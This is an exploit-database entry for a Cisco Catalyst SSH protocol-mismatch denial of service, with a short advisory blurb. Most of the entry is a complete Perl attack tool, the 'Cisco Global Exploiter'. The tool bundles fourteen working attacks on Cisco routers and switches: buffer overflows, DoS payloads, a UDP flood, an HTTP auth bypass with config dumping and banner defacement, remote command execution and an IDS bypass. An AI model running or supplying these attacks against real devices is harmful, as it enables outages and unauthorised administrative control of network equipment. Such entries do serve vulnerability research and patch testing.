ID

VAR-E-200012-0073

CVE

EDB ID

20509

TITLE

Cisco Catalyst 4000/5000/6000 6.1 - SSH Protocol Mismatch Denial of Service - Hardware dos Exploit

DESCRIPTION

Cisco Catalyst 4000/5000/6000 6.1 - SSH Protocol Mismatch Denial of Service. CVE-2001-0080CVE-7183 . dos exploit for Hardware platform

AFFECTED PRODUCTS

EXPLOIT

source: https://www.securityfocus.com/bid/2117/info

Software versions 6.1(1), 6.1(1a) and 6.1(1b) for Catalyst 4000, 5000, and 6000 devices that support SSH and 3 DES encryption contain a vulnerability that may allow an attacker to cause a denial of service.

If a connection is made to the SSH service on a vulnerable Catalyst device and the protocol mismatch error occurs, the device will be reset.

#!/usr/bin/perl

##
# Cisco Global Exploiter
#
# Legal notes :
# The BlackAngels staff refuse all responsabilities
# for an incorrect or illegal use of this software
# or for eventual damages to others systems.
#
# http://www.blackangels.it
##

##
# Modules
##

use Socket;
use IO::Socket;

##
# Main
##

$host = "";
$expvuln = "";
$host = @ARGV[ 0 ];
$expvuln = @ARGV[ 1 ];

if ($host eq "") {
usage();
}
if ($expvuln eq "") {
usage();
}
if ($expvuln eq "1") {
cisco1();
}
elsif ($expvuln eq "2") {
cisco2();
}
elsif ($expvuln eq "3") {
cisco3();
}
elsif ($expvuln eq "4") {
cisco4();
}
elsif ($expvuln eq "5") {
cisco5();
}
elsif ($expvuln eq "6") {
cisco6();
}
elsif ($expvuln eq "7") {
cisco7();
}
elsif ($expvuln eq "8") {
cisco8();
}
elsif ($expvuln eq "9") {
cisco9();
}
elsif ($expvuln eq "10") {
cisco10();
}
elsif ($expvuln eq "11") {
cisco11();
}
elsif ($expvuln eq "12") {
cisco12();
}
elsif ($expvuln eq "13") {
cisco13();
}
elsif ($expvuln eq "14") {
cisco14();
}
else {
printf "\nInvalid vulnerability number ...\n\n";
exit(1);
}

##
# Functions
##

sub usage
{
printf "\nUsage :\n";
printf "perl cge.pl <target> <vulnerability number>\n\n";
printf "Vulnerabilities list :\n";
printf "[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability\n";
printf "[2] - Cisco IOS Router Denial of Service Vulnerability\n";
printf "[3] - Cisco IOS HTTP Auth Vulnerability\n";
printf "[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability\n";
printf "[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability\n";
printf "[6] - Cisco 675 Web Administration Denial of Service Vulnerability\n";
printf "[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability\n";
printf "[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability\n";
printf "[9] - Cisco 514 UDP Flood Denial of Service Vulnerability\n";
printf "[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability\n";
printf "[11] - Cisco Catalyst Memory Leak Vulnerability\n";
printf "[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability\n";
printf "[13] - %u Encoding IDS Bypass Vulnerability (UTF)\n";
printf "[14] - Cisco IOS HTTP Denial of Service Vulnerability\n";
exit(1);
}

sub cisco1 # Cisco 677/678 Telnet Buffer Overflow Vulnerability
{
my $serv = $host;
my $dch = "?????????????????a~ %%%%%XX%%%%%";
my $num = 30000;
my $string .= $dch x $num;
my $shc="\015\012";

my $sockd = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $serv,
PeerPort => "(23)",
) || die("No telnet server detected on $serv ...\n\n");

$sockd->autoflush(1);
print $sockd "$string". $shc;
while (<$sockd>){ print }
print("\nPacket sent ...\n");
sleep(1);
print("Now checking server's status ...\n");
sleep(2);

my $sockd2 = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $serv,
PeerPort => "(23)",
) || die("Vulnerability successful exploited. Target server is down ...\n\n");

print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
close($sockd2);
exit(1);
}

sub cisco2 # Cisco IOS Router Denial of Service Vulnerability
{
my $serv = $host;

my $sockd = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"http(80)",);
unless ($sockd){die "No http server detected on $serv ...\n\n"};
$sockd->autoflush(1);
print $sockd "GET /\%\% HTTP/1.0\n\n";
-close $sockd;
print "Packet sent ...\n";
sleep(1);
print("Now checking server's status ...\n");
sleep(2);

my $sockd2 = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"http(80)",);
unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
close($sockd2);
exit(1);
}

sub cisco3 # Cisco IOS HTTP Auth Vulnerability
{
my $serv= $host;
my $n=16;
my $port=80;
my $target = inet_aton($serv);
my $fg = 0;

LAB: while ($n<100) {
my @results=exploit("GET /level/".$n."/exec/- HTTP/1.0\r\n\r\n");
$n++;
foreach $line (@results){
$line=~ tr/A-Z/a-z/;
if ($line =~ /http\/1\.0 401 unauthorized/) {$fg=1;}
if ($line =~ /http\/1\.0 200 ok/) {$fg=0;}
}

if ($fg==1) {
sleep(2);
print "Vulnerability unsuccessful exploited ...\n\n";
}
else {
sleep(2);
print "\nVulnerability successful exploited with [http://$serv/level/$n/exec/....] ...\n\n";
last LAB;
}

sub exploit {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Unable to initialize socket ...\n\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S);
$|=1;
print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
}
else { die("No http server detected on $serv ...\n\n"); }
}
}
exit(1);
}

sub cisco4 # Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
{
my $serv = $host;
my $n = 16;

while ($n <100) {
exploit1("GET /level/$n/exec/- HTTP/1.0\n\n");
$wr =~ s/\n//g;
if ($wr =~ /200 ok/) {
while(1)
{ print "\nVulnerability could be successful exploited. Please choose a type of attack :\n";
print "[1] Banner change\n";
print "[2] List vty 0 4 acl info\n";
print "[3] Other\n";
print "Enter a valid option [ 1 - 2 - 3 ] : ";
$vuln = <STDIN>;
chomp($vuln);

if ($vuln == 1) {
print "\nEnter deface line : ";
$vuln = <STDIN>;
chomp($vuln);
exploit1("GET /level/$n/exec/-/configure/-/banner/motd/$vuln HTTP/1.0\n\n");
}
elsif ($vuln == 2) {
exploit1("GET /level/$n/exec/show%20conf HTTP/1.0\n\n");
print "$wrf";
}
elsif ($vuln == 3)
{ print "\nEnter attack URL : ";
$vuln = <STDIN>;
chomp($vuln);
exploit1("GET /$vuln HTTP/1.0\n\n");
print "$wrf";
}
}
}
$wr = "";
$n++;
}
die "Vulnerability unsuccessful exploited ...\n\n";

sub exploit1 {
my $sockd = IO::Socket::INET -> new (
Proto => 'tcp',
PeerAddr => $serv,
PeerPort => 80,
Type => SOCK_STREAM,
Timeout => 5);
unless($sockd){die "No http server detected on $serv ...\n\n"}
$sockd->autoflush(1);
$sockd -> send($_[0]);
while(<$sockd>){$wr .= $_} $wrf = $wr;
close $sockd;
}
exit(1);
}

sub cisco5 # Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
{
my $serv = $host;
my $port = 22;
my $vuln = "a%a%a%a%a%a%a%";

my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => $port,
Proto => "tcp")
|| die "No ssh server detected on $serv ...\n\n";

print "Packet sent ...\n";
print $sockd "$vuln";
close($sockd);
exit(1);
}

sub cisco6 # Cisco 675 Web Administration Denial of Service Vulnerability
{
my $serv = $host;
my $port = 80;
my $vuln = "GET ? HTTP/1.0\n\n";

my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => $port,
Proto => "tcp")
|| die "No http server detected on $serv ...\n\n";

print "Packet sent ...\n";
print $sockd "$vuln";
sleep(2);
print "\nServer response :\n\n";
close($sockd);
exit(1);
}

sub cisco7 # Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
{
my $serv = $host;
my $port = 80;
my $k = "";

print "Enter a file to read [ /show/config/cr set as default ] : ";
$k = <STDIN>;
chomp ($k);
if ($k eq "")
{$vuln = "GET /exec/show/config/cr HTTP/1.0\n\n";}
else
{$vuln = "GET /exec$k HTTP/1.0\n\n";}

my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => $port,
Proto => "tcp")
|| die "No http server detected on $serv ...\n\n";

print "Packet sent ...\n";
print $sockd "$vuln";
sleep(2);
print "\nServer response :\n\n";
while (<$sockd>){print}
close($sockd);
exit(1);
}

sub cisco8 # Cisco IOS Software HTTP Request Denial of Service Vulnerability
{
my $serv = $host;
my $port = 80;
my $vuln = "GET /error?/ HTTP/1.0\n\n";

my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => $port,
Proto => "tcp")
|| die "No http server detected on $serv ...\n\n";

print "Packet sent ...\n";
print $sockd "$vuln";
sleep(2);
print "\nServer response :\n\n";
while (<$sockd>){print}
close($sockd);
exit(1);
}

sub cisco9 # Cisco 514 UDP Flood Denial of Service Vulnerability
{
my $ip = $host;
my $port = "514";
my $ports = "";
my $size = "";
my $i = "";
my $string = "%%%%%XX%%%%%";

print "Input packets size : ";
$size = <STDIN>;
chomp($size);

socket(SS, PF_INET, SOCK_DGRAM, 17);
my $iaddr = inet_aton("$ip");

for ($i=0; $i<10000; $i++)
{ send(SS, $string, $size, sockaddr_in($port, $iaddr)); }

printf "\nPackets sent ...\n";
sleep(2);
printf "Please enter a server's open port : ";
$ports = <STDIN>;
chomp $ports;
printf "\nNow checking server status ...\n";
sleep(2);

socket(SO, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "An error occuring while loading socket ...\n\n";
my $dest = sockaddr_in ($ports, inet_aton($ip));
connect (SO, $dest) || die "Vulnerability successful exploited. Target server is down ...\n\n";

printf "Vulnerability unsuccessful exploited. Target server is still up ...\n\n";
exit(1);
}

sub cisco10 # CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
{
my $ip = $host;
my $vln = "%%%%%XX%%%%%";
my $num = 30000;
my $string .= $vln x $num;
my $shc="\015\012";

my $sockd = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $ip,
PeerPort => "(2002)",
) || die "Unable to connect to $ip:2002 ...\n\n";

$sockd->autoflush(1);
print $sockd "$string" . $shc;
while (<$sockd>){ print }
print "Packet sent ...\n";
close($sockd);
sleep(1);
print("Now checking server's status ...\n");
sleep(2);

my $sockd2 = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$ip,
PeerPort=>"(2002)",);
unless ($sockd){die "Vulnerability successful exploited. Target server is down ...\n\n"};

print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
exit(1);
}

sub cisco11 # Cisco Catalyst Memory Leak Vulnerability
{
my $serv = $host;
my $rep = "";
my $str = "AAA\n";

print "\nInput the number of repetitions : ";
$rep = <STDIN>;
chomp $rep;

my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => "(23)",
Proto => "tcp")
|| die "No telnet server detected on $serv ...\n\n";

for ($k=0; $k<=$rep; $k++) {
print $sockd "$str";
sleep(1);
print $sockd "$str";
sleep(1);
}
close($sockd);
print "Packet sent ...\n";
sleep(1);
print("Now checking server's status ...\n");
sleep(2);

my $sockd2 = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"(23)",);
unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

print "Vulnerability unsuccessful exploited. Target server is still up after $rep logins ...\\n";
close($sockd2);
exit(1);
}

sub cisco12 # Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
{
my $serv = $host;
my $l =100;
my $vuln = "";
my $long = "A" x $l;

my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => "(80)",
Proto => "tcp")
|| die "No http server detected on $serv ...\n\n";

for ($k=0; $k<=50; $k++) {
my $vuln = "GET " . $long . " HTTP/1.0\n\n";
print $sockd "$vuln\n\n";
sleep(1);
$l = $l + 100;
}

close($sockd);
print "Packet sent ...\n";
sleep(1);
print("Now checking server's status ...\n");
sleep(2);

my $sockd2 = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"http(80)",);
unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

print "Target is not vulnerable. Server is still up after 5 kb of buffer ...)\n";
close($sockd2);
exit(1);
}

sub cisco13 # %u Encoding IDS Bypass Vulnerability (UTF)
{
my $serv = $host;
my $vuln = "GET %u002F HTTP/1.0\n\n";

my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => "(80)",
Proto => "tcp")
|| die "No http server detected on $serv ...\n\n";

print "Packet sent ...\n";
print $sockd "$vuln";
close($sockd);
sleep(1);
print("Now checking server's status ...\n");
print("Please verify if directory has been listed ...\n\n");
print("Server response :\n");
sleep(2);
while (<$sockd>){ print }
exit(1);
}

sub cisco14 # Cisco IOS HTTP server DoS Vulnerability
{
my $serv = $host;
my $vuln = "GET /TEST?/ HTTP/1.0";

my $sockd = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"http(80)",);
unless ($sockd){die "No http server detected on $serv ...\n\n"};

print $sockd "$vuln\n\n";
print "Packet sent ...\n";
close($sockd);
sleep(1);
print("Now checking server's status ...\n");
sleep(2);

my $sockd2 = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"http(80)",);
unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
close($sockd2);
exit(1);
}

EXPLOIT LANGUAGE

pl

PRICE

free

TYPE

SSH Protocol Mismatch Denial of Service

CREDITS

blackangels

EXTERNAL IDS

REFERENCES

SOURCES

LAST UPDATE DATE

2022-07-27T09:51:16.832000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE